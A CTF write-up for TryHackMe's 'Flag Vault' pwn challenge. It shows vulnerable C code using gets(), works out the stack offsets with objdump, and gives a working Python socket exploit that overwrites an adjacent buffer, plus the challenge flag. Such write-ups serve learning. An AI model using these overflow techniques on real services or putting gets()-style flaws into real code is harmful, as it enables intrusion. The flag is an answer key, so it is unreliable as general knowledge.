Table of Contents
Flag Vault — TryHackMe CTF Writeup #
Platform: TryHackMe
Category: Binary Exploitation / Pwn
Difficulty: Easy
Date: 2026-04-04
Author: t0nt0n
Reading time: ~4 min
Reconnaissance #
The challenge provides source code and a remote service:
nc <IP> 1337
Key observations in login():
1void login(){
2 char password[100] = "";
3 char username[100] = "";
4
5 printf("Username: ");
6 gets(username); // ← vulnerable, no bounds check
7
8 // Password input commented out
9 if(!strcmp(username, "bytereaper") && !strcmp(password, "5up3rP4zz123Byte")){
10 print_flag();
11 }
12}
gets()reads unbounded input intousernamepasswordis hardcoded and never read from user input- Goal: make both
strcmpcalls return 0
Compiled the source locally to inspect the stack frame:
1gcc -o vault vault.c -fno-stack-protector -no-pie -w
2objdump -d vault | grep -A5 '<login>'
Disassembly reveals:
sub $0xe0,%rsp ; frame = 224 bytes
lea -0xe0(%rbp),%rax ; username at rbp-224
... ; password at rbp-112
Critical finding: username is at rbp-224, password is at rbp-112. The gap between the end of username[99] and password[0] is 112 bytes, not 100. GCC inserted 12 bytes of alignment padding between the two arrays.
Exploitation #
Failed approaches #
Attempt 1 — offset 100 (wrong assumption: arrays are contiguous):
1payload = b'bytereaper\x00' + b'A'*89 + b'5up3rP4zz123Byte\n'
→ "Wrong password!" — password not overwritten.
Brute-force scan over offsets 88–250:
- Offsets 88–225: "Wrong password!" (no effect on
password) - Offsets 226–228: false positives (leftover banner data in recv buffer)
- Offsets 229+: timeout (crash — overwriting return address)
Ret2win attempt with print_flag() at 0x4004b6, padding 208:
→ "Wrong password!" locally — wrong offset, didn't reach return address.
Working exploit #
The real username→password offset is 112 (confirmed via disassembly).
Payload structure:
[bytereaper\x00][A × 101][5up3rP4zz123Byte][\n]
← 11 bytes → ← 101 → ← 16 bytes →
|←————————— 112 bytes ——————————→|
username start password[0]
strcmp(username, "bytereaper"): stops at\x00at offset 10 → passesstrcmp(password, "5up3rP4zz123Byte"): password[0..15] overwritten correctly → passes
Note: gets() does not stop on null bytes — it reads until \n/EOF, so embedding \x00 mid-payload is valid. Sent via raw Python socket to avoid any shell/terminal mangling.
1import socket, time
2
3payload = b'bytereaper\x00' + b'A'*101 + b'5up3rP4zz123Byte\n'
4
5s = socket.socket()
6s.settimeout(5)
7s.connect(('<IP>', 1337))
8time.sleep(1)
9s.recv(8192) # drain full banner
10s.send(payload)
11time.sleep(1)
12print(s.recv(4096).decode())
13s.close()
Flag #
Reveal Flag
THM{password_0v3rfl0w}
Tools Used #
gcc— local compilation to inspect stack layoutobjdump -d— disassembly to find exact variable offsets- Python
socket— raw TCP to send binary payload (avoids null-byte mangling by shell/netcat)
What Didn't Work #
- Offset 100: naive assumption that two
char[100]arrays are contiguous. GCC inserted 12 bytes of alignment padding. - Brute-force scan: correctly identified the gap region but produced false positives from incomplete banner drain in the recv loop.
- Ret2win: explored as fallback (using local
print_flag()address0x4004b6), abandoned once the correct overflow offset was found. - Brew netcat: initial
ncfrom brew caused recv timing issues; raw Python sockets fixed it.
Lessons Learned #
- Never assume local variable layout matches declaration order and size — always verify with
objdumpor GDB. Compilers add alignment padding freely. gets()reads raw bytes including\x00; a null byte mid-payload is a valid trick to satisfystrcmpon the overflowed buffer while continuing the overflow past it.- Drain the full banner before sending a payload to avoid false positives in response detection.
- Raw Python sockets are more reliable than shell-piped netcat for binary payloads.